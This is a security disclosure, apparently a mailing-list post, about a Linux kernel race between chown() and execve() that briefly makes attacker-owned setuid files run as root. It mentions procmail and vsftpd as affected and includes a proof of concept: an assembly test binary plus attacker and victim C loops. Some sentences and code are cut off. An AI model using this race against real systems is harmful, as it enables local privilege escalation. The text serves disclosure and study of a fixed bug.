Linux chown() was racy relative to execve()

On non-ancient Linux machines, chown() clears the setuid and setgid bits.
However, until now, that was racy relative to execve(): While chown() took
the i_mutex while modifying owner, group and mode, execve() didn't take that
lock. Because chown() also set the user and group before setting the mode,
this meant that when root chown()ed an attacker-owned setuid file to root,
the file briefly was setuid root (and executable as such).

This was fixed here by taking the i_mutex in the execve path:

Two programs for which this could be relevant are procmail and vsftpd.

vsftpd has this comment in privops.c (relevant only if the chown_uploads
option, which defaults to NO, is activated in the server config, see
process_post_login_req() in postprivparent.c):

/* SECURITY! You need an OS which strips SUID/SGID bits on chown(),
* otherwise a compromise of the FTP user will lead to compromise of
* the "anon_upload_chown_uid" user (think chmod +s).

procmail, when setuid root, does this when invoked as "procmail -d daemon" if
/var/mail/daemon does not exist yet (thanks to jduck for pointing me towards
chown("/var/mail/_QmG.F0wHVB.pc", 1, 8)

As far as I can tell, on a system where procmail is setuid root, this means
that an attacker who has gained access to the "mail" group, which has write
access to /var/mail, can use the chown race to escalate access to any non-root
uid. (procmail optimizes the chown away for root's mailbox.)

Note that *stat() can still show inconsistent data about uid, gid and mode.
This wasn't changed because the stat path is a lot hotter than execve and this
seems like a much bigger issue for execve() than for *stat().

Here's a simple PoC. exec.c is the attacker, chown2.c is the (privileged)
victim. You'll see the message "got root!" every time the attacker wins the

Your console should get spammed with those messages rather quickly if you
don't uncomment the usleep - if you do uncomment it, it might take a while to
succeed or not work at all. On my desktop machine, it still won the race for
6% of all attempts, but on another machine, it seems like it doesn't work at
all with the usleep.

# just use asm to avoid overhead of dynamic loader

$ cat > a.asm
bits 64

mov rax, 107 ; SYS_geteuid
test rax, rax
jnz exit
mov rax, 1 ; SYS_write
mov rdi, 1 ; stdout
mov rsi, msg
mov rdx, len

mov rax, 231 ; SYS_exit_group
mov rdi, 0

msg db 'got root!',0xa
len equ $ - msg


nasm -f elf64 -o a.o a.asm && ld -o a a.o
ld: warning: cannot find entry symbol _start; defaulting to 0000000000400080


cat > exec.c
#include <stdio.h>
#include <unistd.h>

int main(void) {
int i = 0;
while (1) {
pid_t pid = vfork();
if (pid < 0) return 1;
if (pid == 0) {
char *argv[] = { "a", NULL };
execve("a", argv, argv);
return 1;
$ gcc -o exec exec.c
$ cat > chown2.c
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <unistd.h>

int main(void) {
int fd = open("a", 0);
if (fd < 0) return 1;
while (1) {
//usleep(100000); /* uncomment to make it a bit more realistic */
if (fchown(fd, 0, 0) < 0) return 1;
if (fchown(fd, 1000, 1000) < 0) return 1;
if (fchmod(fd, 06755) < 0) return 1;
$ gcc -o chown2 chown2.c
$ sudo ./chown2 & ./exec

如果成功的话,会提示:“got root!”